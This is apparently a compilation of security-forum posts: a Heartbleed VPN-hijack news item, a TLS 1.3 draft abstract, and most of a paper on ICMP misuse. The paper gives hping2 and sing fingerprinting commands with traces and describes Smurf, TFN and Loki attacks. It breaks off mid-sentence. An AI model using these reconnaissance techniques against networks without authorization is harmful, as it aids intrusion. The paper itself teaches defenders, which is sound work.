magazines. https://itsecurity.zendesk.com/account/dropboxes/20300746#/dropbox/tickets/new Firewall Review For the first time we did a very basic Firewall review, which was orderd by Chip. Two products are tested exclusively for Chip and their results can be seen on the Chip website. A link is given in the report. AV-Comparatives Firewall Reviews » AV-Comparatives [/TD] [/TR] [/TABLE] [/TD] [/TR] [/TABLE] Sursa: New Anti-Virus Test Results released - March 2014

[h=1]Heartbleed Attack Bypasses Multifactor Authentication, Hijacks VPN Sessions[/h] byRobert Westervelt on April 18, 2014, 2:50 pm EDT Attackers have developed a way to exploit Heartbleed in an SSL VPN, bypassing multifactor authentication to gain remote access to an organization's internal network, according to researchers at security firm Mandiant, the consulting and incident response arm of network security vendor FireEye. In a blog post Friday describing the latest Hearbleed attack, Mandiant said it took place April 8 following the disclosure of the OpenSSL vulnerability. An attacker exploited the weakness in a VPN appliance and hijacked multiple active user sessions, said Christopher Glyer and Chris DiGiamo, two Mandiant researchers analyzing the risk. "The attack bypassed both the organization's multifactor authentication and the VPN client software used to validate that systems connecting to the VPN were owned by the organization and running specific security software," the researchers said. The researchers said the attack involved sending repeated malformed heartbeat requests to the Web server running on the VPN device. The attacker was able to obtain active session tokens for authenticated users. Gaining the tokens made the attacker appear legitimate to the VPN appliance and gave the attacker the ability to move laterally to more sensitive systems on the network, according to the researchers. Solution providers tell CRN that there has been significant effort undertaken in scanning and identifying Web servers that are open to the Heartbleed bug. Other network devices, including SSL VPN appliances, could have fallen lower on the priority list at some organizations, they said. The attack highlights a serious issue that needs to be quickly assessed by IT teams, said Justin Kallhoff, CEO of Lincoln, Neb.-based network security systems integrator Infogressive. "It's a potential complete nightmare for anyone with a commercial SSL VPN that has the OpenSSL vulnerability," Kallhoff said. "It would open up enterprises of many sizes to a non-authenticated attacker getting logged into the SSL VPN, and bypassing multifactor is an even bigger problem." Attacks have been difficult for IT teams to detect. According to Mandiant, the VPN exploit method was identified and confirmed by analyzing IDS signatures and VPN logs. The IDS appliance alerted more than 17,000 times to the attack. Mandiant is recommending organizations check whether their VPN appliance software contains the Heartbleed flaw, implement IDS signatures to identify attacks, and look back on VPN logs to identify repeated IP address changes during a session. Look for "addresses that are in different network blocks, geographic locations, from different service providers, or rapidly within a short time period," Mandiant said. Successful attacks against vulnerable Web servers have been well documented. It took attackers about nine hours to exploit Heartbleed and get private SSL keys, according to a test conducted last week by website security vendor CloudFlare. Meanwhile, the Canada Revenue Agency is dealing with the fallout of a Heartbleed attack that exposed information on 900 Canadian taxpayers. It was the first serious data breach associated with the OpenSSL vulnerability. Sursa: Mandiant Researchers: Heartbleed Attack Bypasses Multifactor Authentication, Hijacks VPN Sessions - Page: 1 | CRN

[h=1]The Transport Layer Security (TLS) Protocol Version 1.3[/h] Abstract This document specifies Version 1.3 of the Transport Layer Security (TLS) protocol. The TLS protocol provides communications security over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. Sursa: draft-ietf-tls-rfc5246-bis-00 - The Transport Layer Security (TLS) Protocol Version 1.3

How can attacker use ICMP for reconnaissance? By: KoonYaw Tan 1. Introduction RFC 792 spelt out the goals and specifications of the Internet Control Message Protocol (ICMP). Basically, it is used as a means to send error messages for non-transient error conditions and to provide a way to query the network in order to determine the general characteristic of the network. The Internet Protocol (IP) is not designed to be absolutely reliable. The purpose of the ICMP messages is to provide feedback about problems in the communication environment, not to make IP reliable. There are still no guarantees that a datagram will be delivered or a control message will be returned. Some datagrams may still be undelivered without any report of their loss. The higher level protocols that use IP must implement their own reliability procedures if reliable communication is required. ICMP uses the basic support of IP as if it were a higher level protocol. However, ICMP is actually an integral part of IP and must be implemented by every IP module. ICMP suppose to be a relatively simple protocol, but it can be altered to act as a conduit for evil purpose. It is therefore important to understand how this protocol can be used for malicious purposes. This assignment examines how ICMP can be used in a non-convention way, putting itself as a potential threat. We will concentrate on the use of ICMP in a non-convention way rather than the normal use of ICMP. 2. Understanding ICMP Conventionally, ICMP is provided as a means to send error messages for non-transient error conditions and to provide a way to query the network. ICMP is used for two types of operations: Reporting non-transient error conditions (ICMP Error Messages). Query the network with request and reply (ICMP Query Messages). Unlike TCP and UDP, ICMP has no port numbers. ICMP uses type and code to differentiate the services in the protocol. Also in ICMP, there is no client-server concept. When an ICMP error message is delivered, the receiving host might respond internally but might not communicate back to the informer. Services and ports do not have to be activated or listening. ICMP can be broadcast to many hosts because there is no sense of an exclusion connection. RFC 792 defined special conditions for the ICMP messages: No ICMP error messages are sent in response to ICMP error messages to avoid infinite repetition. For fragmented IP datagrams, ICMP messages are only sent for errors on fragmented zero (the first fragment). ICMP error messages are never sent in response to a datagram that is destined to a broadcast or a multicast address. ICMP error messages are never sent in response to a datagram sent as a link layer broadcast. ICMP error messages are never sent in response to a datagram whose source address does not represents a unique host (the source address cannot be zero, a loopback address, a broadcast address or a multicast address). ICMP error messages are never sent in response to an IGMP message of any kind. When an ICMP message of unknown type is received, it must be silently discarded. Routers will almost always generate ICMP messages but when it comes to a destination host, the number of ICMP messages generated is implementation dependent. The ICMP has many messages that are identified by a “type” field. For each “type” field, there may also be a “code” field which acts as a sub-type. For example, echo reply has a type of 0 and code of 0 while echo request has a type of 0 and code of 8. The list of ICMP types and codes is available at: target="_blank">http://www.iana.org/assignments/icmp-parameters 3. Normal use of ICMP The Internet Control Message Protocol (ICMP) is used to handle errors and exchange control messages. ICMP can be used to determine if a machine on the Internet is responding. To do this, an ICMP echo request packet is sent to a machine. If a machine receives that packet, that machine will return an ICMP echo reply packet. A common implementation of this process is the "ping" command, which is included with many operating systems and network software packages. ICMP is used to convey status and error information including notification of network congestion and of other network transport problems. ICMP can also be a valuable tool in diagnosing host or network problems. Other RFCs have defined other functionalities for the ICMP: RFC 896 – Source Quench. RFC 950 – Address Mask Extensions. RFC 1191 – Path MTU Discovery. RFC 1256 – Router Discovery. RFC 1349 –Type of Service in the Internet Protocol Suite. 4. Use of ICMP – In a Non-Convention Way Ping traffic is ubiquitous to almost every TCP/IP based network and sub-network. It has a standard packet format recognized by every IP-speaking router and is used universally for network management, testing, and measurement. As such, many firewalls and networks consider ping traffic to be benign and will allow it to pass through. ICMP can be altered to act as conduit for evil purposes. Some of the ways that ICMP can be used for purposes other than the intended ones are: Reconnaissance Denial of Service Covert Channel 4.1 Reconnaissance Reconnaissance is the first stage in the information gathering process to discover live hosts and some other essence information as part of most planned attack. ICMP messages are broadly categorized into two kinds: [TABLE=width: 90%, align: center] [TR] [TD=class: h5invert, colspan: 2, align: center]ICMP Messages[/TD] [/TR] [TR] [TD=class: h3invert, width: 50%, align: center]ICMP Query Messages[/TD] [TD=class: h3invert, width: 50%, align: center]ICMP Error Messages[/TD] [/TR] [TR] [TD] Echo Request and Echo Reply Time Stamp Request and Reply Information Request and Reply Address Mask Request and Reply[/TD] [TD] Destination Unreachable Source Quench Redirect Time Exceeded Parameter Problem[/TD] [/TR] [/TABLE] By manipulating these ICMP messages, we are able to gather substantial information in the process of information gathering: Host Detection Network Topology ACL Detection Packet Filter Detection OS Fingerprinting 4.1.1 Host Detection and Network Topology By using ICMP message, it allows one to identify hosts that are reachable, in particular from the Internet. Traceroute attempts to map network devices and hosts on a route to a certain destination host. Intelligence use of it will allow one to map the topology of a network. 4.1.2 Access Control List (ACL) Detection ICMP Error Messages may help to determine the kind ACL of the filtering device is being used and allow one to choose the tactics accordingly. The idea is to manipulate the total length of the IP Header Field. A crafted packet with total length in the IP Header Filed claiming to be bigger than really what it is. When this packet reaches the host, it will try to grab the data from the area, which is not there. The host will thus issue an ICMP Parameter Problem back to the querying IP address. If there is a packet filtering device present and we probe a targeted network with all possible combination of protocols and services, it will allow us to determine the access control list of the filtering device (which host is allowed to received what type of traffic). The crafted packet can use ICMP, TCP or UDP as the underlying protocols. 4.1.3 Protocol/Port Scan ICMP Error Messages (Protocol/Port Unreachable) are the common ways to determine what type of protocols/ports the host is running. Nmap 2.54 beta 1 has integrated the Protocol Scan. It sends raw IP packets without any further protocol header (no payload) to each specified protocol on the target machine. If an ICMP Protocol Unreachable error message is received, the protocol is not in used. 4.1.4 OS Fingerprinting Using ICMP for OS Fingerprinting requires less traffic initiation from the malicious person machine to the target host. The idea is “Which operating system answer what kind of ICMP Query messages”. This is possible because different OS implement differently. Some do not compliant strictly to RFC, while RFC may also optional. Fingerprinting of OS can be achieved via the following: Using ICMP Query Messages Using ICMP Error Messages The ICMP Echo Request/Reply pair was intended to determine whether a host is alive or not. Negative response will either mean it is not alive or ICMP Echo traffic is filtered by a packet filtering device. The ICMP Information Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time to allow them to discover their network address. The ICMP Time Stamp Request/Reply pair allows a host to query another for the current time. This allows a sender to determine the amount of latency that a particular network is experiencing. Most operation systems implemented the ICMP Time Stamp Request/Reply. The ICMP Address Mask Request/Reply pair was intended for diskless systems to obtain its subnet mask in use on the local network at bootstrap time. It is also used when a host wants to know the address mask of an interface. RFC 1122 states that the Address Mask is optional. At times, the ICMP Error Messages revealed substantial information about the host or network. For example, receiving a Protocol Unreachable will reveal that the host is alive and that particular protocol queried is not supported. By manipulating certain field in the query, we can generate several ICMP Error Messages. In [1], the author has done a comprehensive research on the use of ICMP in OS fingerprinting. Based on the nature of the different implementation of OS, substantiate information can be gathered using different techniques in manipulating the ICMP messages and observe the response of the target host. The techniques are listed below: Response on ICMP Query Messages Types on a targeted host Response on ICMP Query Messages Types on a broadcast address IP TTL value on the ICMP Messages (Request and Reply) Response on ICMP Query Messages with Code Field ? 0 Response on the ICMP Query Messages with Precedence Bits value ? 0 Response on the ICMP Query Messages with TOS value ? 0 Response on the ICMP Query Messages with TOS unused bit = 1 Response on the ICMP Query Messages with Reserved Bit Flag = 1 Response on the ICMP Query Messages with DF set ICMP Error Message echoing integrity with ICMP Port Unreachable Error Message A detailed tabulation can be obtained in [1]. We extracted some results and conduct some fingerprint on the following operating systems: Solaris Linux Windows Family (Win 98/NT/2000) 4.1.4.1 Fingerprinting HPUX 10.20, Solaris and Linux Figure 1 shows an example the technique of fingerprinting HPUX 10.20, Solaris and Linux operating systems. Using SING tool [9], we run through the process of fingerprinting: ICMP Time Stamp Request targeted at broadcast address: We first generated an ICMP Time Stamp Request to the whole segment x.x.x.255. # sing -tstamp x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 20 data bytes 20 bytes from x.x.x.64: seq=0 ttl=255 TOS=0 diff=88364 20 bytes from x.x.x.215: seq=0 ttl=255 TOS=0 diff=0 (DUP!) 20 bytes from x.x.x.1: seq=0 ttl=255 TOS=0 diff=51332009 (DUP!) 20 bytes from x.x.x.2: seq=0 ttl=255 TOS=0 diff=55541589 (DUP!) 20 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 diff=-127012 (DUP!) Note that x.x.x.1 and x.x.x.2 is the network switch devices which we will not discussed here. Also x.x.x.215 is the IP address of the machine running sing and hping2 tools. x.x.x.64 and x.x.x.239 response to the ICMP Time Stamp Request targeted at broadcast address x.x.x.255. Note that their responded TTL is 255, which is a typically response TTL from Unix system. These two machines could then be Sun Solaris, Linux or HPUX 10.20. The Snort trace: 07/26-09:33:46.281306 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x36 x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST 23 31 00 00 00 55 D9 A9 00 00 00 00 00 00 00 00 #1...U.......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.281488 0:50:BA:C0:61:99 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.64 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:55 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 57 32 D5 00 57 32 D5 #1...U...W2..W2. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:33:46.282107 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38831 IpLen:20 DgmLen:40 DF Type:14 Code:0 TIMESTAMP REPLY 23 31 00 00 00 55 D9 A9 00 53 E9 85 00 53 E9 85 #1...U...S...S.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Information Request targeted at broadcast address We then generated an ICMP Information Request to the same segment x.x.x.255. # sing -info x.x.x.255 SINGing to x.x.x.255 (x.x.x.255): 8 data bytes --- x.x.x.255 sing statistic --- 200 packets transmitted, 0 packets received, 100% packet loss No machine response to this request. We can conclude that x.x.x.64 and x.x.x.239 is either Sun Solaris or Linux machine. The Snort trace: 07/26-09:43:56.721478 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 00 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:43:57.713811 0:80:C7:C0:E2:DB -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2A x.x.x.215 -> x.x.x.255 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:28 Type:15 Code:0 INFO REQUEST 49 31 01 00 I1.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Address Mask Request targeted at single host Lastly, we generated an ICMP Address Mask Request to the two specific IP addresses, x.x.x.64 and x.x.x.239: # sing -mask x.x.x.64 SINGing to x.x.x.64 (x.x.x.64): 12 data bytes --- x.x.x.64 sing statistics --- 10 packets transmitted, 0 packets received, 100% packet loss x.x.x.64 did not response. We can therefore conclude that x.x.x.64 is a Linux machine. The Snort trace: 07/26-09:49:06.544282 0:80:C7:C0:E2:DB -> 0:50:BA:C0:61:99 type:0x800 len:0x2E x.x.x.215 -> x.x.x.64 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5F 31 00 00 00 00 00 00 _1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request to x.x.x.239: # sing -mask x.x.x.239 SINGing to x.x.x.239 (x.x.x.239): 12 data bytes 12 bytes from x.x.x.239: seq=0 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=1 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=2 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=3 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=4 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=5 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=6 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=7 DF! ttl=255 TOS=0 mask=255.255.255.0 12 bytes from x.x.x.239: seq=8 DF! ttl=255 TOS=0 mask=255.255.255.0 --- x.x.x.239 sing statistics --- 9 packets transmitted, 9 packets received, 0% packet loss x.x.x.239 response to Address Mask Request. It is therefore running Sun Solaris. The Snort trace: 07/26-09:48:52.177080 0:80:C7:C0:E2:DB -> 8:0:20:FD:AE:90 type:0x800 len:0x2E x.x.x.215 -> x.x.x.239 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST 5E 31 00 00 00 00 00 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-09:48:52.177292 8:0:20:FD:AE:90 -> 0:80:C7:C0:E2:DB type:0x800 len:0x40 x.x.x.239 -> x.x.x.215 ICMP TTL:255 TOS:0x0 ID:38853 IpLen:20 DgmLen:32 DF Type:18 Code:0 ADDRESS REPLY 5E 31 00 00 FF FF FF 00 ^1...... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 4.1.4.2 Fingerprinting Windows Family (95/98/ME/NT/20000) Figure 2 shows an example of fingerprinting the Windows Family. We run through the process of fingerprinting using NMAP [11], HPING2 [10] and SING [9]. Windows Family typically response ICMP Echo Reply with a TTL value of 128. The first thing will then to determine the live host with ICMP ECHO Reply of TTL = 128. By using nmap, three IP addresses are identify with TTL ~ 128: Machine 1: x.x.x.41 Machine 2: x.x.x.183 Machine 3: x.x.x.69 Using the above methodology, for machine 1 (x.x.x.41), we have: ICMP Echo Request with Code Field ? 0 We first send a ICMP Echo Request with Code Field ? 0 (Value = 77) # hping2 -1 -c 1 -K 77 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29120 rtt=1.8 ms It responded with Code field = 0. Therefore, it belongs to Windows Family. Snort trace: 07/26-16:23:28.745427 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x0 ID:46193 IpLen:20 DgmLen:28 Type:8 Code:77 ID:61445 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:28.746064 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29120 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61445 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request We next send an ICMP Time Stamp Request. # sing -tstamp -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 20 data bytes 20 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 diff=1650412099* It also responded. It can then be Windows 98, ME or 2000. Snort trace: 07/26-16:23:46.368947 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST F1 05 00 00 01 CD 37 C0 00 00 00 00 00 00 00 00 ......7......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:23:46.369418 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:29376 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY F1 05 00 00 01 CD 37 C0 E4 2C 82 03 E4 2C 82 03 ......7..,...,.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 We next send an ICMP Echo Request with TOS Unused Bit = 1. # hping2 -1 -o 1 -c 1 x.x.x.41 HPING x.x.x.41 (eth0 x.x.x.41): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.41: icmp_seq=0 ttl=128 id=29632 rtt=0.8ms It replied with the same TOS value. As Windows 2000 will reply with a TOS value of 0, we can conclude that this machine can be either Windows 98 or ME. Snort trace: 07/26-16:24:04.098715 x.x.x.215 -> x.x.x.41 ICMP TTL:64 TOS:0x1 ID:4907 IpLen:20 DgmLen:28 Type:8 Code:0 ID:61957 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:04.099161 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x1 ID:29632 IpLen:20 DgmLen:28 Type:0 Code:0 ID:61957 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Address Mask Request Finally, we check the response when requesting the address mask. # sing -mask -c 1 x.x.x.41 SINGing to x.x.x.41 (x.x.x.41): 12 data bytes 12 bytes from x.x.x.41: seq=0 ttl=128 TOS=0 mask=255.255.255.0 It responded. So we can conclude this machine is Windows 98. Snort trace: 07/26-16:24:32.851707 x.x.x.215 -> x.x.x.41 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:32 Type:17 Code:0 ADDRESS REQUEST F3 05 00 00 00 00 00 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:24:32.852143 x.x.x.41 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:30400 IpLen:20 DgmLen:32 Type:18 Code:0 ADDRESS REPLY F3 05 00 00 FF FF FF 00 ........ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ For machine 2 (x.x.x.183): ICMP Echo Request with Code Field ? 0 When an ICMP Echo Request with Code Field = 77 is send to this machine, it responded with Code Field = 0, suggesting that it belongs to the Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7030 rtt=17.8 ms Snort trace: 07/26-16:07:06.186426 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x0 ID:37429 IpLen:20 DgmLen:28 Type:8 Code:77 ID:56325 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:06.203810 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7030 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56325 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request It also responded to ICMP Time Stamp Request, suggesting that it can be Windows 98, ME or 2000. # sing -tstamp -c 1 x.x.x.183 SINGing to x.x.x.183 (x.x.x.183): 20 data bytes 20 bytes from x.x.x.183: seq=0 ttl=119 TOS=0 diff=1247439485* Snort trace: 07/26-16:07:29.668839 x.x.x.10 -> x.x.x.183 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST DD 05 00 00 01 BE 50 84 00 00 00 00 00 00 00 00 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:07:29.683450 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7032 IpLen:20 DgmLen:40 Type:14 Code:0 TIMESTAMP REPLY DD 05 00 00 01 BE 50 84 CC 18 BB 01 CC 18 BB 01 ......P......... =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Echo Request with TOS Unused Bit = 1 When it received an ICMP Echo Request with TOS Unused Bit = 1, it responded with TOS Unused Bit = 0. Therefore, we concluded that it is a Windows 2000 machine. # hping2 -1 -o 1 -c 1 x.x.x.183 HPING x.x.x.183 (eth0 x.x.x.183): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.183: icmp_seq=0 ttl=119 id=7060 rtt=187.4 ms Snort trace: 07/26-16:08:06.142181 x.x.x.10 -> x.x.x.183 ICMP TTL:64 TOS:0x1 ID:56666 IpLen:20 DgmLen:28 Type:8 Code:0 ID:56837 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:08:06.329204 x.x.x.183 -> x.x.x.10 ICMP TTL:119 TOS:0x0 ID:7060 IpLen:20 DgmLen:28 Type:0 Code:0 ID:56837 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ Finally for machine 3 (x.x.x.69): ICMP Echo Request with Code Field ? 0 It responded to an ICMP Echo Request with Code Field ? 0, confirming that it belongs to Windows Family. # hping2 -1 -c 1 -K 77 x.x.x.69 HPING x.x.x.69 (eth0 x.x.x.69): icmp mode set, 28 headers + 0 data bytes 50 bytes from x.x.x.69: icmp_seq=0 ttl=128 id=58126 rtt=2.2 ms Snort trace: 07/26-16:37:25.892705 x.x.x.215 -> x.x.x.69 ICMP TTL:64 TOS:0x0 ID:11485 IpLen:20 DgmLen:28 Type:8 Code:77 ID:64005 Seq:0 ECHO =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 07/26-16:37:25.893486 x.x.x.69 -> x.x.x.215 ICMP TTL:128 TOS:0x0 ID:58126 IpLen:20 DgmLen:28 Type:0 Code:0 ID:64005 Seq:0 ECHO REPLY =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ ICMP Time Stamp Request When ICMP Time Stamp Request is sent to it, this time, it did not respond. Using the methodology, we concluded that it can be either a Windows 95 or Windows NT. # sing -tstamp x.x.x.69 SINGing to x.x.x.69 (x.x.x.69): 20 data bytes --- x.x.x.69 sing statistic --- 86 packets transmitted, 0 packets received, 100% packet loss Snort trace: 07/26-16:37:46.867499 x.x.x.215 -> x.x.x.69 ICMP TTL:255 TOS:0x0 ID:13170 IpLen:20 DgmLen:40 Type:13 Code:0 TIMESTAMP REQUEST FB 05 00 00 01 DA 0A F3 00 00 00 00 00 00 00 00 ................ =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ We thus see that intelligence use of ICMP Messages could reveal substantial information about a host. 4.2 Denial of Service (DoS) Using ICMP as a means to cause DoS is not new. CERT/CC has issued an advisory on Denial of Service via Ping in 1996 (CA-1996-26). Ping of Death is one of the common uses of ICMP to cause a machine to crash. Here we mentioned some other well-known DoS using ICMP as a means. 4.2.1 Smurf DoS The infamous Smurf attack preys on ICMP’s capability to send traffic to the broadcast address. Many hosts can listen and response to a single ICMP echo request sent to a broadcast address. This capability is used to execute a DoS attack. The two main components to the smurf denial-of-service attack are the use of forged ICMP echo request packets and the direction of packets to IP broadcast addresses. In the "smurf" attack, attackers are using ICMP echo request packets directed to IP broadcast addresses from remote locations to generate denial-of-service attacks. There are three parties in these attacks: the attacker, the intermediary, and the victim (note that the intermediary can also be a victim). The intermediary receives an ICMP echo request packet directed to the IP broadcast address of their network. If the intermediary does not filter ICMP traffic directed to IP broadcast addresses, many of the machines on the network will receive this ICMP echo request packet and send an ICMP echo reply packet back. When (potentially) all the machines on a network respond to this ICMP echo request, the result can be severe network congestion or outages. When the attackers create these packets, they do not use the IP address of their own machine as the source address. Instead, they create forged packets that contain the spoofed source address of the attacker's intended victim. The result is that when all the machines at the intermediary's site respond to the ICMP echo requests, they send replies to the victim's machine. The victim is subjected to network congestion that could potentially make the network unusable. More detailed description of Smurf attack can be found in [5]. 4.2.2 Tribe Flood Network (TFN) The Tribe Flood Network (TFN) attack is another DoS attack that uses ICMP for communication. TFN is made up of client and daemon programs, which implement a distributed network denial of service tool capable of waging ICMP flood, SYN flood, UDP flood, and Smurf style attacks. The attacker(s) control one or more clients, each of which can control many daemons. The daemons are all instructed to coordinate a packet-based attack against one or more victim systems by the client. Communication from the TFN client to daemons is accomplished via ICMP Echo Reply packets. Each "command" to the daemons is sent in the form of a 16-bit binary number in the ID field of an ICMP Echo Reply packet (The sequence number is a constant 0x0000, which would make it look like the response to the initial packet sent out by the "ping" command). This is to prevent the kernel on the daemon system from replying with an ICMP Echo Reply packet. The daemon then responds (if need be) to the client(s), also using an ICMP Echo Reply packet. The payload differs with TFN, as it is used for sending command arguments and replies. Some network monitoring tools do not show the data portion of ICMP packets, or do not parse all of the various ICMP type-specific fields, so it may be difficult to actually monitor the communication between client and daemon. A detailed analysis of TFN can be found in [6]. 4.2.3 WinFreeze WinFreeze is a DoS attack against Windows. A small exploit code that can cause a Windows 9x/NT box on the local LAN to freeze completely. The program initiates ICMP/Redirect-host messages storm that appears to come from a router (by using the router's IP). The Windows machine will receive redirect host messages causing it to change its own routing table. This will make it get stuck, or operate very slowly until a reboot is done. 4.3 Covert Channel Many firewalls and networks consider ping traffic to be benign and will allow it to pass through. Use of ping traffic can open up covert channels through the networks in which it is allowed. 4.3.1 Loki The concept of the Loki is simple: arbitrary information tunneling in the data portion of ICMP Echo Request and ICMP Echo Reply packets. Loki exploits the covert channel that exists inside of ICMP Echo traffic. ICMP Echo packets have the option to include a data section. This data section is used when the record route option is specified, or, the more common case, (usually the default) to store timing information to 